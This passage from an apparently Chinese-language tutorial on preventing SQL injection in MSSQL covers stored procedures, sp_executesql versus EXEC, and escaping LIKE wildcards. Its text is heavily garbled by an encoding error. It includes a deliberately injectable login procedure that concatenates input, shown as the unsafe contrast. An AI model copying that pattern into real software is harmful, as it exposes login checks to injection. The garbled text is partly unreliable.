a) 安全性高,防止SQL注入并且可設(shè)定只有某些用戶才能使用指定存儲(chǔ)過程。
b) 在創(chuàng)建時(shí)進(jìn)行預(yù)編譯,后續(xù)的調(diào)用不需再重新編譯。
c) 可以降低網(wǎng)絡(luò)的通信量。存儲(chǔ)過程方案中用傳遞存儲(chǔ)過程名來(lái)代替SQL語(yǔ)句。
缺點(diǎn):
a) 非應(yīng)用程序內(nèi)聯(lián)代碼,調(diào)式麻煩。
b) 修改麻煩,因?yàn)橐粩嗟那袚Q開發(fā)工具。(不過也有好的一面,一些易變動(dòng)的規(guī)則做到存儲(chǔ)過程中,如變動(dòng)就不需要重新編譯應(yīng)用程序)
c) 如果在一個(gè)程序系統(tǒng)中大量的使用存儲(chǔ)過程,到程序交付使用的時(shí)候隨著用戶需求的增加會(huì)導(dǎo)致數(shù)據(jù)結(jié)構(gòu)的變化,接著就是系統(tǒng)的相關(guān)問題了,最后如果用戶想維護(hù)該系統(tǒng)可以說是很難很難(eg:沒有VS的查詢功能)。
關(guān)鍵代碼為:
cmd.CommandText = procName;// 傳遞存儲(chǔ)過程名cmd.CommandType = CommandType.StoredProcedure;// 標(biāo)識(shí)解析為存儲(chǔ)過程
如果在存儲(chǔ)過程中SQL語(yǔ)法很復(fù)雜需要根據(jù)邏輯進(jìn)行拼接,這時(shí)是否還具有放注入的功能?
答:MSSQL中可以通過 EXEC 和sp_executesql動(dòng)態(tài)執(zhí)行拼接的sql語(yǔ)句,但sp_executesql支持替換 Transact-SQL 字符串中指定的任何參數(shù)值, EXECUTE 語(yǔ)句不支持。所以只有使用sp_executesql方式才能啟到參數(shù)化防止SQL注入。
關(guān)鍵代碼:
a) sp_executesql
CREATE PROCEDURE PROC_Login_executesql(@userNamenvarchar(10),@password nvarchar(10),@count int OUTPUT)ASBEGIN DECLARE s nvarchar(1000);set @s=N'SELECT @count=COUNT(*) FROM Login WHERE UserName=@userName AND Password=@password'; EXEC sp_executesql @s,N'@userName nvarchar(10),@password nvarchar(10),@count int output',@userName=@userName,@password=@password,@count=@count outputEND
b) EXECUTE(注意sql中拼接字符,對(duì)于字符參數(shù)需要額外包一層單引號(hào),需要輸入兩個(gè)單引號(hào)來(lái)標(biāo)識(shí)sql中的一個(gè)單引號(hào))
CREATE PROCEDURE PROC_Login_EXEC(@userNamenvarchar(10),@password varchar(20))ASBEGIN DECLARE s nvarchar(1000);set @s='SELECT @count=COUNT(*) FROM Login WHERE UserName='''+CAST(@userName AS NVARCHAR(10))+''' AND Password='''+CAST(@password AS VARCHAR(20))+'''';EXEC('DECLARE @count int;' +@s+'select @count');END
注入截圖如下:
情景1
A:“丫的,又中毒了……”
B:“我看看,你這不是裸機(jī)在跑嗎?”
電腦上至少也要裝一款殺毒軟件或木馬掃描軟件,這樣可以避免一些常見的侵入。比如開篇提到的SQL創(chuàng)建windows帳戶,就會(huì)立馬報(bào)出警報(bào)。
情景2
A:“終于把網(wǎng)站做好了,太完美了,已經(jīng)檢查過沒有漏洞了!”
A:“網(wǎng)站怎么被黑了,怎么入侵的???”
公司或個(gè)人有財(cái)力的話還是有必要購(gòu)買一款專業(yè)SQL注入工具來(lái)驗(yàn)證下自己的網(wǎng)站,這些工具畢竟是專業(yè)的安全人員研發(fā),在安全領(lǐng)域都有自己的獨(dú)到之處。
盡管這個(gè)不屬于SQL注入,但是其被惡意使用的方式是和SQL注入類似的。
%包含零個(gè)或多個(gè)字符的任意字符串。_任何單個(gè)字符。[]指定范圍(例如 [a-f])或集合(例如 [abcdef])內(nèi)的任何單個(gè)字符。[^]不在指定范圍(例如 [^a – f])或集合(例如 [^abcdef])內(nèi)的任何單個(gè)字符。
在模糊查詢LIKE中,對(duì)于輸入數(shù)據(jù)中的通配符必須轉(zhuǎn)義,否則會(huì)造成客戶想查詢包含這些特殊字符的數(shù)據(jù)時(shí),這些特殊字符卻被解析為通配符。不與 LIKE 一同使用的通配符將解釋為常量而非模式。
注意使用通配符的索引性能問題:
a) like的第一個(gè)字符是‘%’或‘_’時(shí),為未知字符不會(huì)使用索引, sql會(huì)遍歷全表。
b) 若通配符放在已知字符后面,會(huì)使用索引。
網(wǎng)上有這樣的說法,不過我在MSSQL中使用 ctrl+L 執(zhí)行語(yǔ)法查看索引使用情況卻都沒有使用索引,可能在別的數(shù)據(jù)庫(kù)中會(huì)使用到索引吧……
截圖如下:
有兩種將通配符轉(zhuǎn)義為普通字符的方法:
1) 使用ESCAPE關(guān)鍵字定義轉(zhuǎn)義符(通用)
在模式中,當(dāng)轉(zhuǎn)義符置于通配符之前時(shí),該通配符就解釋為普通字符。例如,要搜索在任意位置包含字符串 5% 的字符串,請(qǐng)使用:
WHERE ColumnA LIKE ‘%5/%%’ ESCAPE ‘/’
2) 在方括號(hào) ([ ]) 中只包含通配符本身,或要搜索破折號(hào)(-) 而不是用它指定搜索范圍,請(qǐng)將破折號(hào)指定為方括號(hào)內(nèi)的第一個(gè)字符。EG:
所以,進(jìn)行過輸入?yún)?shù)的關(guān)鍵字過濾后,還需要做下面轉(zhuǎn)換確保LIKE的正確執(zhí)行
*請(qǐng)認(rèn)真填寫需求信息,我們會(huì)在24小時(shí)內(nèi)與您取得聯(lián)系。